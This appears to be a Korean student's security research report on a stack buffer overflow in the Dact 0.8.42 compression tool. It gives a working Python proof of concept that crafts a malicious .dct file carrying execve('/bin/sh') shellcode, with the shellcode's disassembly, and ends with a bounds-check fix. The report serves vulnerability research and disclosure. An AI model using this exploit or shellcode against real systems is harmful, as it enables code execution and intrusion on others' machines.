**24.01.22 보고서**

**서강대학교 20191244 김현승**

* **Exploit Dact**

이전 보고서에서 확인한 사실을 기반으로 PoC 코드를 작성해보았다.

#!/usr/bin/env python3

import sys

import os

from pwn import \*

def write\_fixed\_header(fd) :

    fd.write(b"\x44\x43\x54\xc3")                    # magic[4]

    fd.write(b"\x00\x08\x2a")                        # version[3]

    fd.write(b"\x00\x00\x00\x00\xff\xff\xff\xff")    # filesize[8]

    fd.write(b"\x10\x00\x00\x00")                    # blk\_cnt[4]

    fd.write(b"\x10\x00\x00\x00")                    # blksize\_uncomp[4]

    fd.write(b"\x00")                                # file\_opts[1]

    fd.write(b"\x00\x00\x04\x4f")    # file\_extd\_size[4] << Important

def write\_url\_data(fd) :

    for i in range(0, 263) :

        fd.write(b"\x07")                            # ch[1] (DACT\_HDR\_URL)

        fd.write(b"\x00\x01")                        # x[2] (size 1)

        fd.write(b"a")                               # dummy data

    fd.write(b"\x07")

    fd.write(b"\x00\x30")

    # shellcode[48]

    fd.write(b"\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05")

if \_\_name\_\_ == "\_\_main\_\_" :

    fd = open("./test.dct", "wb")

    write\_fixed\_header(fd)

    write\_url\_data(fd)

    fd.close()

    os.system("./dact\_exploit -dcf test.dct")

write\_fixed\_header 함수에서 .dct 파일의 고정적인 헤더 부분을 작성하고 있다. magic, version은 hello.txt.dct가 갖고 있는 값을 그대로 사용했고, 나머지 부분은 임의로 작성하였다. file\_extd\_size는 while loop이 반복되는 횟수와 관련이 있으므로 데이터의 크기를 고려해 사용해야한다. 263번 반복하며 url data를 작성할 때 x를 1로 설정했으므로 매 반복마다 file\_extd\_read는 4가 증가한다. 따라서 4 x 263 = 1052이고, 264번째 반복에서 입력되는 쉘코드의 크기가 48(+3을 해주면 51)이므로 file\_extd\_size는 1103(0x44f)가 되어야 한다. 여기서 사용한 쉘코드는 다음과 같다.

1129: 6a 68 push $0x68

112b: 48 b8 2f 62 69 6e 2f movabs $0x732f2f2f6e69622f,%rax

1132: 2f 2f 73

1135: 50 push %rax

1136: 48 89 e7 mov %rsp,%rdi

1139: 68 72 69 01 01 push $0x1016972

113e: 81 34 24 01 01 01 01 xorl $0x1010101,(%rsp)

1145: 31 f6 xor %esi,%esi

1147: 56 push %rsi

1148: 6a 08 push $0x8

114a: 5e pop %rsi

114b: 48 01 e6 add %rsp,%rsi

114e: 56 push %rsi

114f: 48 89 e6 mov %rsp,%rsi

1152: 31 d2 xor %edx,%edx

1154: 6a 3b push $0x3b

1156: 58 pop %rax

1157: 0f 05 syscall

execve 시스템 콜을 이용해 /bin/sh를 실행하는 쉘코드이다.

* **Mitigation**

취약점이 존재하는 버전인 0.8.42가 Dact의 최신 release이다. 따라서 공식적인 bug fix 패치는 존재하지 않는다. 하지만 해당 취약점은 쉽게 제거할 수 있다. 스택에 BOF가 발생하는 이유는 file\_extd\_urls 배열의 크기를 고려하지 않고 계속 데이터를 스택에 저장하는 것이다. 따라서 file\_extd\_urlcnt 값을 검사해 file\_extd\_urls 배열에 접근하도록 하면 취약점은 제거된다.

file\_extd\_urls[file\_extd\_urlcnt++]=parse\_url\_subst(hdr\_buf,filename);

dact\_common.c:478을 다음과 같이 수정한다.

if(file\_extd\_urlcnt < 256)

     file\_extd\_urls[file\_extd\_urlcnt++]=parse\_url\_subst(hdr\_buf,filename);

위 수정으로 해당 라인에서 file\_extd\_urls로의 접근이 스택의 다른 부분을 침범하지 않도록 할 수 있다.